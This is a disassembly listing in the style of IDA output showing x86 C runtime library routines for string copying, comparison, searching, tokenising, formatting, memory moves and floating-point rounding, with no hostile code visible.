		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE28


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE28, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE10
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE30, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp
